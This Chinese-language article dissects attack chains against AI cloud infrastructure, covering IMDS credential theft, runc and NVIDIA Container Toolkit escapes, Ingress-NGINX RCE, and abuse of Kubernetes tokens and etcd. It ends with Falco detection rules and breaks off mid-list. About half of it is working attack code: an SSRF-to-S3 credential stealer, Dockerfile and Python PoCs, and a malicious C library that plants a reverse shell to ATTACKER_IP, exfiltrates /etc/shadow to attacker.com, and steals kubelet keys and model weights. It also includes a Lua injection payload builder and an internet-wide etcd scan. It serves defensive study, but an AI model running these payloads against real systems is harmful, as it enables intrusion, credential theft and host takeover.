0. 背景:AI 基础设施面临的云安全威胁

2025-2026 年,AI 基础设施成为云攻击的首要目标。Capital One 数据泄露事件揭示了 IMDS 滥用的破坏力;NVIDIA Container Toolkit 逃逸("NVIDIAScape")影响 37% 的云 GPU 环境;runc 连环漏洞被 APT 在野利用;Kubernetes 攻击同比增长 282%。

本文从攻击者视角完整拆解 AI 基础设施的攻击链,并给出对应的防御检测方案。

┌──────────────────────────────────────────────────────────────────┐
│              AI 基础设施攻击链全景                                 │
│                                                                  │
│  初始入侵          横向移动          权限提升          目标达成     │
│  ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌──────────┐     │
│  │SSRF漏洞  │───→│IMDS凭证  │───→│IAM角色   │───→│S3数据窃取│     │
│  │容器逃逸  │───→│SA Token  │───→│K8s集群   │───→│模型窃取  │     │
│  │镜像投毒  │───→│etcd暴露  │───→│云账户    │───→│挖矿持久化│     │
│  └─────────┘    └──────────┘    └──────────┘    └──────────┘     │
│                                                                  │
│  核心攻击面:                                                     │
│  ① 云元数据服务 (IMDS)  ② 容器运行时 (runc/Docker)               │
│  ③ 编排系统 (K8s)       ④ GPU基础设施 (NVIDIA Toolkit)            │
│  ⑤ API网关 (Ingress)    ⑥ 存储层 (etcd)                           │
└──────────────────────────────────────────────────────────────────┘

1. 云元数据服务(IMDS)滥用攻击链

1.1 IMDS 原理与攻击面

IMDS(Instance Metadata Service)位于 169.254.169.254,提供实例配置信息和临时 IAM 凭证,是云环境最高价值目标之一。

云厂商 端点 认证要求 凭证路径
AWS http://169.254.169.254/latest/meta-data/ IMDSv1 无需认证 /iam/security-credentials/<role-name>
Azure http://169.254.169.254/metadata/instance Metadata: true /identity/oauth2/token
GCP http://metadata.google.internal Metadata-Flavor: Google /computeMetadata/v1/instance/service-accounts/default/token

1.2 IMDSv1 SSRF 攻击链复现

"""
IMDS 滥用攻击链复现 — 仅用于授权测试环境
模拟 Capital One 式攻击: SSRF → IMDS → IAM 凭证 → S3 数据窃取
"""
import requests
import json
from urllib.parse import quoteclass IMDSAttackChain:"""IMDS 滥用攻击链仿真器"""def __init__(self, target_url: str):"""target_url: 存在 SSRF 漏洞的目标应用 URL"""self.target = target_urlself.imds_endpoint = "169.254.169.254"self.credentials = Nonedef step1_ssrf_to_imds(self) -> dict:"""步骤 1: 通过 SSRF 访问 IMDS"""# 构造 SSRF payload# 场景: 目标应用的 URL 预览功能存在 SSRFssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/"# 通过目标应用的 SSRF 漏洞转发请求params = {"url": ssrf_payload}response = requests.get(self.target, params=params, timeout=10)if response.status_code == 200:# IMDSv1 不需要任何额外头即可访问metadata_paths = response.text.strip().split("\n")return {"step": "ssrf_to_imds","status": "success","available_paths": metadata_paths,"imds_version": "v1 (no auth required)"}return {"step": "ssrf_to_imds", "status": "failed"}def step2_extract_iam_role(self) -> str:"""步骤 2: 提取实例关联的 IAM 角色名"""ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/"params = {"url": ssrf_payload}response = requests.get(self.target, params=params, timeout=10)role_name = response.text.strip()return role_namedef step3_steal_credentials(self, role_name: str) -> dict:"""步骤 3: 窃取临时 IAM 凭证"""ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/{role_name}"params = {"url": ssrf_payload}response = requests.get(self.target, params=params, timeout=10)creds = response.json()self.credentials = {"AccessKeyId": creds["AccessKeyId"],"SecretAccessKey": creds["SecretAccessKey"],"Token": creds["Token"],"Expiration": creds["Expiration"]}return self.credentialsdef step4_lateral_to_s3(self, bucket_name: str) -> list:"""步骤 4: 使用窃取的凭证访问 S3 桶"""import boto3session = boto3.Session(aws_access_key_id=self.credentials["AccessKeyId"],aws_secret_access_key=self.credentials["SecretAccessKey"],aws_session_token=self.credentials["Token"])s3 = session.client("s3")# 列出桶内容objects = s3.list_objects_v2(Bucket=bucket_name)return [obj["Key"] for obj in objects.get("Contents", [])]def run_full_chain(self, bucket_name: str = None):"""执行完整攻击链"""print("[*] Step 1: SSRF → IMDS")step1 = self.step1_ssrf_to_imds()print(f"    Available paths: {step1.get('available_paths', [])}")print("[*] Step 2: Extract IAM Role")role = self.step2_extract_iam_role()print(f"    Role: {role}")print("[*] Step 3: Steal Temporary Credentials")creds = self.step3_steal_credentials(role)print(f"    AccessKeyId: {creds['AccessKeyId']}")print(f"    Expiration: {creds['Expiration']}")if bucket_name:print("[*] Step 4: Lateral Movement to S3")objects = self.step4_lateral_to_s3(bucket_name)print(f"    Found {len(objects)} objects in {bucket_name}")return {"role": role, "credentials": creds, "s3_objects": objects}return {"role": role, "credentials": creds}# === 防御: IMDSv2 强制 token 认证 ===
class IMDSv2Protection:"""IMDSv2 防御配置验证器"""@staticmethoddef verify_imdsv2_enabled(ec2_client) -> dict:"""验证所有 EC2 实例已启用 IMDSv2"""instances = ec2_client.describe_instances()results = []for reservation in instances["Reservations"]:for instance in reservation["Instances"]:imds = instance.get("MetadataOptions", {})results.append({"instance_id": instance["InstanceId"],"http_tokens": imds.get("HttpTokens", "unknown"),# "optional" = IMDSv1 仍然可用 (危险)# "required" = 强制 IMDSv2 (安全)"http_endpoint": imds.get("HttpEndpoint", "unknown"),"hop_limit": imds.get("HttpPutResponseHopLimit", 1),"vulnerable": imds.get("HttpTokens") != "required"})vulnerable = [r for r in results if r["vulnerable"]]return {"total_instances": len(results),"vulnerable_count": len(vulnerable),"vulnerable_instances": vulnerable,"recommendation": "Set HttpTokens=required on all instances"}@staticmethoddef block_imds_via_network_policy():"""K8s NetworkPolicy 阻断 Pod 访问 IMDS"""return {"apiVersion": "networking.k8s.io/v1","kind": "NetworkPolicy","metadata": {"name": "block-imds-access","namespace": "default"},"spec": {"podSelector": {},"policyTypes": ["Egress"],"egress": [{"to": [{"ipBlock": {"cidr": "10.0.0.0/8","except": ["169.254.169.254/32"]}}]},{"to": [{"ipBlock": {"cidr": "172.16.0.0/12","except": ["169.254.169.254/32"]}}]}]}}

1.3 IMDSv1 vs IMDSv2 对比

维度 IMDSv1 IMDSv2
认证 无需认证 需要 PUT 请求获取 session token
攻击难度 简单 SSRF 即可 需要 SSRF + 支持 PUT 方法
Token 有效期 最长 6 小时(实例控制)
Hop Limit 无限制 默认 1 跳(阻断容器内访问)
AWS 推荐 已弃用 强制使用

2. runc 容器逃逸三连击

2.1 漏洞概览

2025 年 11 月,runc 连续披露三个高危容器逃逸漏洞,均通过自定义挂载配置触发:

CVE CVSS 原理 在野利用
CVE-2025-31133 7.3 masked path 滥用 + 挂载竞态 APT 在野利用,CVSS 标记 10.0
CVE-2025-52565 7.3 /dev/console bind-mount 漏洞
CVE-2025-52881 7.3 绕过 LSM 检查

修复版本:runc v1.2.8 / v1.3.3 / v1.4.0-rc.3

2.2 CVE-2025-31133 根因分析

┌────────────────────────────────────────────────────────────────┐
│           CVE-2025-31133: runc masked path 滥用                 │
│                                                                │
│  正常流程:                                                      │
│  ┌──────────┐    bind-mount     ┌──────────────┐               │
│  │ /dev/null │ ──────────────→  │ /proc/sys/... │  (只读保护)   │
│  │ (runc设置)│                  │ masked path   │               │
│  └──────────┘                  └──────────────┘               │
│                                                                │
│  攻击流程:                                                      │
│  ┌──────────┐    symlink        ┌──────────────┐               │
│  │ /dev/null │ ──→ symlink ──→  │ /proc/sys/   │  (读写!)      │
│  │ (攻击者改)│    替换为符号链接  │ kernel/core_ │              │
│  └──────────┘                  │ pattern      │              │
│                                └──────────────┘               │
│                                       │                        │
│                                       ▼                        │
│  runc 以 root 身份 bind-mount 符号链接目标 (读写模式)             │
│  → 攻击者获得对 /proc/sys/kernel/core_pattern 的写权限           │
│  → 写入恶意管道命令                                              │
│  → 下次崩溃时以 root 执行任意命令 = 完整逃逸                      │
└────────────────────────────────────────────────────────────────┘

2.3 PoC 复现

# CVE-2025-31133 PoC — 仅用于授权测试
# 利用 Dockerfile 的 RUN --mount=... 功能FROM ubuntu:22.04# 构造恶意挂载: 将 /dev/null 替换为指向 /proc/sys/kernel/core_pattern 的符号链接
RUN --mount=type=bind,source=/dev/null,target=/tmp/exploit \ln -sf /proc/sys/kernel/core_pattern /tmp/exploit# runc 在执行 RUN 指令时:
# 1. 读取 mount 配置,发现 target=/tmp/exploit
# 2. 准备 bind-mount /dev/null → /tmp/exploit
# 3. 但 /tmp/exploit 已是符号链接,指向 /proc/sys/kernel/core_pattern
# 4. runc 跟随符号链接,以读写模式 mount 到 /proc/sys/kernel/core_pattern
# 5. 攻击者现在可以写入 core_pattern 实现逃逸# 写入恶意 core_pattern
RUN echo '|/tmp/payload.sh %p %E' > /proc/sys/kernel/core_pattern# 触发崩溃以执行 payload
RUN bash -c 'kill -SEGV $$'
"""
CVE-2025-31133 完整利用链 — Python 仿真
用于理解漏洞原理,仅限授权测试
"""
import subprocess
import os
import signal
import timeclass RuncEscapeCVE202531133:"""runc 容器逃逸仿真器"""def __init__(self, container_name: str = "vuln-test"):self.container = container_nameself.host_core_pattern = "/proc/sys/kernel/core_pattern"def check_vulnerable(self) -> bool:"""检查 runc 版本是否受影响"""result = subprocess.run(["runc", "--version"],capture_output=True, text=True)version_line = result.stdout.split("\n")[0]# 受影响版本: runc < 1.2.8, < 1.3.3# 简化判断逻辑if "1.2." in version_line or "1.3." in version_line:parts = version_line.split()if len(parts) >= 2:version = parts[2]  # "1.2.7"major, minor, patch = map(int, version.split("."))if (major, minor, patch) < (1, 2, 8):return Trueif (major, minor) == (1, 3) and patch < 3:return Truereturn Falsedef prepare_exploit(self):"""准备逃逸 payload"""payload_script = """#!/bin/bash
# payload.sh — 在宿主机以 root 执行
# 通过 core_pattern 触发
TARGET_PID=$1
BINARY=$2# 反弹 shell 到攻击者控制的服务器
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1# 或者直接操作宿主机文件系统
# echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# cat /etc/shadow > /tmp/shadow_exfil
# curl http://attacker.com/exfil -d @/etc/shadow
"""with open("/tmp/payload.sh", "w") as f:f.write(payload_script)os.chmod("/tmp/payload.sh", 0o755)def trigger_escape(self):"""触发逃逸"""# 步骤 1: 通过符号链接替换 /dev/null# (已在 Dockerfile 中完成)# 步骤 2: 写入恶意 core_pattern# core_pattern 格式: |路径 参数# %p = 崩溃进程 PID, %E = 可执行文件路径with open(self.host_core_pattern, "w") as f:f.write("|/tmp/payload.sh %p %E\n")# 步骤 3: 触发段错误,内核执行 core_pattern 中的命令# 此时 payload.sh 以 root (uid 0) 在宿主机命名空间执行os.kill(os.getpid(), signal.SIGSEGV)def cleanup(self):"""清理痕迹"""try:with open(self.host_core_pattern, "w") as f:f.write("core\n")  # 恢复默认值os.remove("/tmp/payload.sh")except:pass# === 防御: runc 版本检测 ===
class RuncSecurityCheck:"""runc 安全检查工具"""@staticmethoddef check_version():"""检查 runc 版本是否已修复"""result = subprocess.run(["runc", "--version"],capture_output=True, text=True)print(f"runc version: {result.stdout}")# 修复版本矩阵fixed_versions = {"1.2": "1.2.8","1.3": "1.3.3","1.4": "1.4.0-rc.3"}for branch, fixed in fixed_versions.items():print(f"  Branch {branch}: fixed in {fixed}")@staticmethoddef check_dangerous_mounts():"""检查 Dockerfile 中的危险挂载"""dangerous_patterns = ["RUN --mount=type=bind,source=/dev/null","RUN --mount=type=bind,source=/proc","RUN --mount=type=bind,source=/sys",]# 扫描项目中的所有 Dockerfileimport globfor dockerfile in glob.glob("**/Dockerfile*", recursive=True):with open(dockerfile) as f:content = f.read()for pattern in dangerous_patterns:if pattern in content:print(f"[!] {dockerfile}: dangerous mount pattern found")print(f"    Pattern: {pattern}")

2.4 CVE-2025-52881:LSM 绕过

"""
CVE-2025-52881: 绕过 LSM (Linux Security Module) 检查
使 /proc/self/attr/<label> 引用真实 procfs 文件
"""# 攻击原理:
# 1. runc 在设置容器 SELinux/AppArmor 标签时写入 /proc/self/attr/exec
# 2. 攻击者通过符号链接将 /proc/self/attr/exec 指向:
#    - /proc/sysrq-trigger → 主机崩溃 (DoS)
#    - /proc/sys/kernel/core_pattern → 完整逃逸
# 3. runc 的 LSM 检查认为写入的是 attr 文件,不做额外验证# 防御: Pod Security Admission
psa_restricted_policy = """
apiVersion: v1
kind: Namespace
metadata:name: ai-workloadslabels:pod-security.kubernetes.io/enforce: restrictedpod-security.kubernetes.io/audit: restrictedpod-security.kubernetes.io/warn: restricted
---
# Restricted PSA 禁止:
# - privileged: true
# - hostPath volumes
# - hostPID, hostIPC, hostNetwork
# - root 用户 (runAsNonRoot: true)
# - 不安全的 procfs 挂载
apiVersion: v1
kind: Pod
metadata:name: ai-inference-safenamespace: ai-workloads
spec:securityContext:runAsNonRoot: truerunAsUser: 1000fsGroup: 2000seccompProfile:type: RuntimeDefaultcontainers:- name: inferenceimage: ai-model:v1.2.3@sha256:abc123...  # 使用 digest 而非 latestsecurityContext:allowPrivilegeEscalation: falsereadOnlyRootFilesystem: truecapabilities:drop: ["ALL"]resources:limits:memory: "16Gi"cpu: "4"nvidia.com/gpu: 1volumeMounts:- name: tmpmountPath: /tmp- name: model-cachemountPath: /modelsreadOnly: truevolumes:- name: tmpemptyDir: {}- name: model-cachepersistentVolumeClaim:claimName: model-pvc-readonly
"""

3. NVIDIA Container Toolkit 逃逸(NVIDIAScape)

3.1 漏洞概述

CVE CVSS 影响版本 影响
CVE-2025-23266 高危 Toolkit < v1.17.8, GPU Operator < v25.3.1 37% 云 GPU 环境受影响
CVE-2024-0132 9.0 2024年9月披露 TOCTOU 竞态条件

3.2 CVE-2025-23266 PoC

# CVE-2025-23266 PoC — 仅用于授权测试
# 利用 OCI hooks 在主机以 root 运行的特性FROM nvidia/cuda:12.0-base# 恶意共享库 — 将在容器启动时被主机 root 进程加载
COPY poc.so /tmp/poc.so# LD_PRELOAD 注入: toolkit 的 hook 进程(主机 root)会加载此库
ENV LD_PRELOAD=/tmp/poc.so
// poc.c — 恶意共享库源码
// 编译: gcc -shared -fPIC -o poc.so poc.c -ldl#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>// constructor 属性: 库被加载时自动执行
__attribute__((constructor))
void on_load() {// 此时运行在 NVIDIA Container Toolkit 的 hook 进程中// 该进程以主机 root 身份运行pid_t pid = fork();if (pid == 0) {// 子进程: 执行逃逸 payload// 1. 挂载宿主机根文件系统system("mkdir -p /tmp/host_root");system("mount /dev/sda1 /tmp/host_root 2>/dev/null || ""mount /dev/nvme0n1p1 /tmp/host_root 2>/dev/null || ""mount /dev/vda1 /tmp/host_root 2>/dev/null");// 2. 写入持久化后门system("echo '* * * * * root /bin/bash -c ""\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"' "">> /tmp/host_root/etc/crontab");// 3. 窃取宿主机凭证system("cat /tmp/host_root/etc/shadow > /tmp/shadow_exfil");system("cat /tmp/host_root/var/lib/kubelet/pki/kubelet.key ""> /tmp/kubelet_key_exfil 2>/dev/null");// 4. 窃取 AI 模型权重system("find /tmp/host_root -name '*.safetensors' -o -name '*.bin' ""-o -name 'pytorch_model*' | head -10 > /tmp/model_paths");_exit(0);}// 父进程: 继续正常执行,不引起怀疑
}

3.3 防御方案

#!/bin/bash
# NVIDIA Container Toolkit 安全加固脚本# 1. 检查并升级版本
echo "[*] Checking NVIDIA Container Toolkit version..."
nvidia-ctk --version
# 修复版本: >= 1.17.8
# 升级: apt-get update && apt-get install nvidia-container-toolkit=1.17.8-1# 2. 禁用 LD_PRELOAD (如果可能)
# 在 NVIDIA Container Toolkit 配置中
cat > /etc/nvidia-container-runtime/config.toml << 'EOF'
[nvidia-container-cli]
# 禁止通过 LD_PRELOAD 注入
loading =
disable-require = false
# 仅允许特定挂载
no-cgroups = false
# 验证所有 hook
verify-hooks = true
EOF# 3. 使用 Pod Security Admission 限制
kubectl label namespace gpu-workloads \pod-security.kubernetes.io/enforce=restricted# 4. 使用 seccomp profile 限制系统调用
cat > /tmp/nvidia-seccomp.json << 'SECCOMP'
{"defaultAction": "SCMP_ACT_ERRNO","architectures": ["SCMP_ARCH_X86_64"],"syscalls": [{"names": ["read", "write", "open", "openat", "close", "mmap","mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask","ioctl", "pread64", "pwrite64", "readv", "writev","access", "pipe", "select", "sched_yield", "mremap","msync", "mincore", "madvise", "shmget", "shmat", "shmctl","dup", "dup2", "pause", "nanosleep", "getitimer", "alarm","setitimer", "getpid", "sendfile", "socket", "connect","accept", "sendto", "recvfrom", "sendmsg", "recvmsg","shutdown", "bind", "listen", "getsockname", "getpeername","socketpair", "setsockopt", "getsockopt", "clone", "fork","vfork", "execve", "exit", "wait4", "kill", "uname","fcntl", "flock", "fsync", "fdatasync", "truncate", "ftruncate","getdents", "getcwd", "chdir", "fchdir", "rename", "mkdir","rmdir", "creat", "link", "unlink", "symlink", "readlink","chmod", "fchmod", "chown", "fchown", "lchown", "umask","gettimeofday", "getrlimit", "getrusage", "sysinfo"],"action": "SCMP_ACT_ALLOW"}]
}
SECCOMP

4. Kubernetes 编排漏洞攻击链

4.1 高危 K8s CVE 汇总

CVE 组件 CVSS 说明
CVE-2025-1974 Ingress-NGINX 9.8 IngressNightmare,未认证 RCE,影响 43% 云环境
CVE-2024-21626 runc 8.6 Leaky Vessels,影响 80% 云环境,勒索团伙在野利用
CVE-2025-1176 etcd 9.5 默认未启用 TLS 认证,暴露 2379 端口直接访问集群数据

4.2 IngressNightmare(CVE-2025-1974)攻击链

"""
CVE-2025-1974: Ingress-NGINX AdmissionReview 注入
攻击者构造恶意 AdmissionReview 请求,在 ingress-nginx controller 中执行任意代码
"""
import requests
import json
import base64
from kubernetes import client, configclass IngressNightmareExploit:"""IngressNightmare 漏洞利用仿真器"""def __init__(self, webhook_url: str):"""webhook_url: ingress-nginx validating webhook 的 URL通常为: https://<ingress-nginx-controller>:8443/extensions/ingress"""self.webhook_url = webhook_urldef craft_malicious_admission_review(self, payload_cmd: str) -> dict:"""构造恶意 AdmissionReview 请求"""# 将 payload 嵌入到 Ingress 资源的 annotation 中# ingress-nginx controller 会解析这些 annotation 并执行 nginx 配置渲染# 通过配置注入实现 RCEmalicious_ingress = {"apiVersion": "networking.k8s.io/v1","kind": "Ingress","metadata": {"name": "legitimate-ingress","namespace": "default","annotations": {# 通过 nginx 配置注入执行命令"nginx.ingress.kubernetes.io/configuration-snippet": f"""# 注入的恶意配置lua_need_request_body off;access_by_lua_block {{os.execute("{payload_cmd}")}}""",# 或者通过 server-snippet 注入"nginx.ingress.kubernetes.io/server-snippet": f"""location /healthz {{content_by_lua_block {{os.execute("{payload_cmd}")}}}}"""}},"spec": {"rules": [{"host": "legitimate.example.com","http": {"paths": [{"path": "/","pathType": "Prefix","backend": {"service": {"name": "frontend","port": {"number": 80}}}}]}}]}}# 构造 AdmissionReviewadmission_review = {"apiVersion": "admission.k8s.io/v1","kind": "AdmissionReview","request": {"uid": "00000000-0000-0000-0000-000000000001","kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},"resource": {"group": "networking.k8s.io","version": "v1","resource": "ingresses"},"name": "legitimate-ingress","namespace": "default","operation": "CREATE","userInfo": {"username": "system:anonymous","groups": ["system:unauthenticated"]},"object": malicious_ingress,"oldObject": None,"dryRun": False,"options": {"kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1"}}}return admission_reviewdef send_exploit(self, payload_cmd: str = "id > /tmp/pwned"):"""发送恶意 AdmissionReview 到 webhook"""review = self.craft_malicious_admission_review(payload_cmd)# ingress-nginx webhook 不验证请求来源 (漏洞核心)# 攻击者无需认证即可直接访问response = requests.post(self.webhook_url,json=review,headers={"Content-Type": "application/json"},verify=False,  # webhook 使用自签证书timeout=10)return {"status_code": response.status_code,"response": response.json() if response.status_code == 200 else response.text,"payload_executed": response.status_code == 200}# === 防御: IngressNightmare 缓解 ===
class IngressNightmareDefense:"""IngressNightmare 防御配置"""@staticmethoddef restrict_webhook_access():"""限制 webhook 仅接受来自 API Server 的请求"""return {# ingress-nginx controller 启动参数"args": ["--validating-webhook-certificate=/usr/local/certificates/cert.pem","--validating-webhook-key=/usr/local/certificates/key.pem","--enable-ssl-chain-completion=false","--validating-webhook=:8443",# 关键: 限制 webhook 仅接受来自 API Server 的连接"--watch-ingress-without-class=false",],# NetworkPolicy 限制 webhook 端口"network_policy": {"apiVersion": "networking.k8s.io/v1","kind": "NetworkPolicy","metadata": {"name": "restrict-ingress-webhook"},"spec": {"podSelector": {"matchLabels": {"app.kubernetes.io/name": "ingress-nginx"}},"policyTypes": ["Ingress"],"ingress": [{"from": [{"namespaceSelector": {"matchLabels": {"kubernetes.io/metadata.name": "kube-system"}}}],"ports": [{"protocol": "TCP", "port": 8443}]}]}}}@staticmethoddef disable_lua_in_annotations():"""禁用 annotation 中的 Lua 执行"""return {"nginx.ingress.kubernetes.io/enable-lua": "false","nginx.ingress.kubernetes.io/allow-snippet-annotations": "false",}

4.3 ServiceAccount Token → 云 IAM 攻击链

"""
K8s ServiceAccount Token → 云 IAM 横向移动
在 EKS/GKE/AKS 中,K8s SA 通过 Workload Identity 映射到云 IAM 角色
"""class SATokenToCloudIAM:"""SA Token 到云 IAM 的攻击链仿真"""def __init__(self):self.sa_token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"self.api_server = "https://kubernetes.default.svc"self.ca_cert = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"def read_sa_token(self) -> str:"""步骤 1: 读取容器内的 ServiceAccount Token"""with open(self.sa_token_path) as f:token = f.read().strip()# JWT 解码查看权限import base64parts = token.split(".")payload = base64.urlsafe_b64decode(parts[1] + "==")payload_json = json.loads(payload)print(f"[*] SA Token issuer: {payload_json.get('iss')}")print(f"[*] SA Token sub: {payload_json.get('sub')}")print(f"[*] SA Token aud: {payload_json.get('aud')}")return tokendef enumerate_permissions(self, token: str) -> dict:"""步骤 2: 枚举 SA 权限"""import urllib.request# 使用 kubectl auth can-i --list 等效 API 调用url = f"{self.api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"body = json.dumps({"apiVersion": "authorization.k8s.io/v1","kind": "SelfSubjectRulesReview","spec": {"namespace": "default"}}).encode()req = urllib.request.Request(url, data=body, method="POST")req.add_header("Authorization", f"Bearer {token}")req.add_header("Content-Type", "application/json")# 禁用 SSL 验证 (集群内通信)import sslctx = ssl.create_default_context()ctx.check_hostname = Falsectx.verify_mode = ssl.CERT_NONEresponse = urllib.request.urlopen(req, context=ctx)rules = json.loads(response.read())# 分析危险权限dangerous_perms = []for rule in rules["status"]["resourceRules"]:verbs = rule.get("verbs", [])resources = rule.get("resources", [])if "*" in verbs:dangerous_perms.append({"rule": rule, "reason": "wildcard verb"})if "secrets" in resources:dangerous_perms.append({"rule": rule, "reason": "secrets access"})if "pods" in resources and "create" in verbs:dangerous_perms.append({"rule": rule, "reason": "can create pods"})if "clusterrolebindings" in resources:dangerous_perms.append({"rule": rule,"reason": "can modify RBAC = cluster admin"})return {"all_rules": rules["status"]["resourceRules"],"dangerous_permissions": dangerous_perms}def steal_secrets(self, token: str) -> list:"""步骤 3: 窃取 K8s Secrets"""import urllib.requesturl = f"{self.api_server}/api/v1/namespaces/default/secrets"req = urllib.request.Request(url)req.add_header("Authorization", f"Bearer {token}")import sslctx = ssl.create_default_context()ctx.check_hostname = Falsectx.verify_mode = ssl.CERT_NONEresponse = urllib.request.urlopen(req, context=ctx)secrets = json.loads(response.read())stolen = []for secret in secrets.get("items", []):name = secret["metadata"]["name"]secret_type = secret["type"]data = secret.get("data", {})# 解码 base64 数据decoded = {}for key, value in data.items():decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")stolen.append({"name": name,"type": secret_type,"data_keys": list(decoded.keys())})return stolendef escalate_to_cloud(self, token: str, cloud: str = "aws"):"""步骤 4: 通过 Workload Identity 横向到云 IAM"""if cloud == "aws":# EKS: SA token → AWS STS AssumeRoleWithWebIdentityimport urllib.request# 1. 获取 AWS 角色 ARN (从 SA 注解或环境变量)role_arn = os.environ.get("AWS_ROLE_ARN")if not role_arn:print("[!] AWS_ROLE_ARN not found, checking SA annotations...")return None# 2. 使用 SA token 向 STS 换取 AWS 临时凭证url = (f"https://sts.amazonaws.com/"f"?Action=AssumeRoleWithWebIdentity"f"&Version=2011-06-15"f"&RoleArn={role_arn}"f"&RoleSessionName=exploit-session"f"&WebIdentityToken={token}")req = urllib.request.Request(url, method="POST")response = urllib.request.urlopen(req)# 解析 AWS 凭证import xml.etree.ElementTree as ETroot = ET.fromstring(response.read())creds = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}Credentials")aws_creds = {"AccessKeyId": creds.find("AccessKeyId").text,"SecretAccessKey": creds.find("SecretAccessKey").text,"SessionToken": creds.find("SessionToken").text}print(f"[+] AWS credentials obtained!")print(f"    AccessKeyId: {aws_creds['AccessKeyId']}")return aws_credselif cloud == "gcp":# GKE: SA token → GCP access tokenurl = ("http://metadata.google.internal""/computeMetadata/v1/instance/service-accounts/default/token")req = urllib.request.Request(url)req.add_header("Metadata-Flavor", "Google")response = urllib.request.urlopen(req)token_data = json.loads(response.read())print(f"[+] GCP access token obtained!")return token_data

5. etcd 暴露攻击

5.1 CVE-2025-1176:etcd 未认证访问

#!/bin/bash
# etcd 暴露检测 — 仅用于授权测试# 1. 扫描暴露的 etcd 端口 (2379)
masscan 0.0.0.0/0 -p 2379 --rate 5000 -oJ etcd_scan.json# 2. 检测未认证访问
for ip in $(jq -r '.[].ip' etcd_scan.json); doecho "[*] Testing $ip:2379"# 尝试无认证访问response=$(curl -sk "http://$ip:2379/v2/keys/" 2>/dev/null)if echo "$response" | jq . >/dev/null 2>&1; thenecho "[!] $ip:2379 - UNAUTHENTICATED ACCESS!"# 列出所有 keycurl -sk "http://$ip:2379/v2/keys/?recursive=true" | jq .# 常见敏感 key:# /registry/secrets/default/<secret-name># /registry/configmaps/kube-system/kubeadm-config# /registry/serviceaccounts/default/defaultfi
done# 3. 提取凭证
# etcd 存储了 K8s 集群的所有状态,包括:
# - 所有 Secrets (base64 编码)
# - ServiceAccount Tokens
# - TLS 证书和私钥
# - ConfigMaps 中的敏感配置

5.2 etcd 加固

# 1. 启用 TLS 认证
# /etc/kubernetes/manifests/etcd.yaml
cat > /etc/kubernetes/manifests/etcd.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:name: etcdnamespace: kube-system
spec:containers:- name: etcdcommand:- etcd- --cert-file=/etc/kubernetes/pki/etcd/server.crt- --key-file=/etc/kubernetes/pki/etcd/server.key- --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt- --peer-key-file=/etc/kubernetes/pki/etcd/peer.key- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt- --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt- --client-cert-auth=true          # 关键: 强制客户端证书认证- --peer-client-cert-auth=true     # 强制 peer 证书认证- --listen-client-urls=https://127.0.0.1:2379  # 仅本地监听- --advertise-client-urls=https://127.0.0.1:2379volumeMounts:- name: etcd-certsmountPath: /etc/kubernetes/pki/etcdreadOnly: truevolumes:- name: etcd-certshostPath:path: /etc/kubernetes/pki/etcdtype: Directory
EOF# 2. 防火墙规则: 阻断 2379 端口的外部访问
iptables -A INPUT -p tcp --dport 2379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP# 3. 定期审计 etcd 访问
# 启用 etcd 审计日志
echo '--log-package-levels=etcdserver=debug' >> /etc/kubernetes/manifests/etcd.yaml

6. 运行时检测体系

6.1 Falco 规则集

# falco-ai-infra-rules.yaml
# AI 基础设施专用 Falco 检测规则# 规则 1: 容器内 shell 执行
- rule: Shell Spawned in Containerdesc: 检测容器内启动 shell 进程condition: >spawned_process and container andshell_procs and not shell_in_allowlistoutput: >Shell spawned in container(user=%user.name container=%container.nameimage=%container.image.repositorycmd=%proc.cmdline pid=%proc.pidnamespace=%k8s.ns.name)priority: WARNINGtags: [container, shell, mitre_execution]# 规则 2: 容器访问宿主机敏感文件
- rule: Container Reading Host Sensitive Filedesc: 检测容器读取宿主机敏感文件(逃逸信号)condition: >open_read and container and(fd.name in (/host/etc/shadow, /host/proc/1/environ,/proc/sys/kernel/core_pattern,/proc/sysrq-trigger) orfd.name startswith /host/var/lib/kubelet/)output: >Container reading host sensitive file(user=%user.name container=%container.namefile=%fd.name proc=%proc.cmdline)priority: CRITICALtags: [container, escape, filesystem]# 规则 3: 向 /proc/sys 写入(core_pattern 攻击)
- rule: Write to Proc Sysdesc: 检测向 /proc/sys 写入(runc 逃逸利用)condition: >open_write and container andfd.name startswith /proc/sys/output: >Write to /proc/sys from container(user=%user.name container=%container.namefile=%fd.name proc=%proc.cmdline)priority: CRITICALtags: [container, escape, privilege_escalation]# 规则 4: 检测 IMDS 访问
- rule: Container Accessing Cloud Metadata Servicedesc: 检测容器访问云元数据服务condition: >outbound and container and(fd.sip="169.254.169.254" orfd.sip="metadata.google.internal" orfd.sport in (80, 443))output: >Container accessing cloud metadata service(container=%container.name image=%container.image.repositorydest=%fd.sip:%fd.sport proc=%proc.cmdline)priority: CRITICALtags: [cloud, imds, credential_access]# 规则 5: 特权容器创建
- rule: Create Privileged Poddesc: 检测创建特权 Pod 的请求condition: >ka.req.pod.spec.containers.privileged intersect (true)output: >Privileged pod created(user=%ka.user.name pod=%ka.req.pod.namens=%ka.req.pod.ns containers=%ka.req.pod.spec.containers.name)priority: WARNINGtags: [k8s, privilege_escalation]# 规则 6: 读取 K8s Secrets
